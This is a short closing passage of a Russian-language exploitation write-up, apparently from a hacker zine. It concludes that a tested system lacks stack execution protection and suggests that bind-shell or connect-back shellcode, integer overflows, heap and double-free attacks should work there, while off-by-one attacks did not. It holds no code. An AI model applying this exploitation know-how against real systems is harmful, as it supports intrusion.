   Вообще,  при локальном эксплойтинге,  вполне можно  обойтись одним лишь
   вызовом waitpid(), при удалённом обычный bind-shell/connect-back  может
   спасти ситуацию.

   Итак, выводы:

    - никакой  защиты  от  выполнения  в  стеке нету,  во всяком случае по
    умолчанию (а та машина,  на которой всё это тестилось, выглядела очень
    убедительно, не думаю что админ бы не  включил эту функцию если бы она
    там была).

    - исходя из выше сказанного, логично что также будут работать и другие
    атаки,  например переполнения  массивов  самых  разных  типов, integer
    overflow-based атаки,  судя  по  версии  компилера,  должен  нормально
    эксплойтиться и heap, double-free(), etc..

    - к сожалению, с всяческими атаками типа off-by-one произошёл облом.

 p.s.
   Самый кайф я ощутил когда обнаружил отсутсвие такого системного вызова,
   как getppid() %). Мелочь, а неприятно.. dup2() тоже нехватает порой.

> 00:31:16 GMT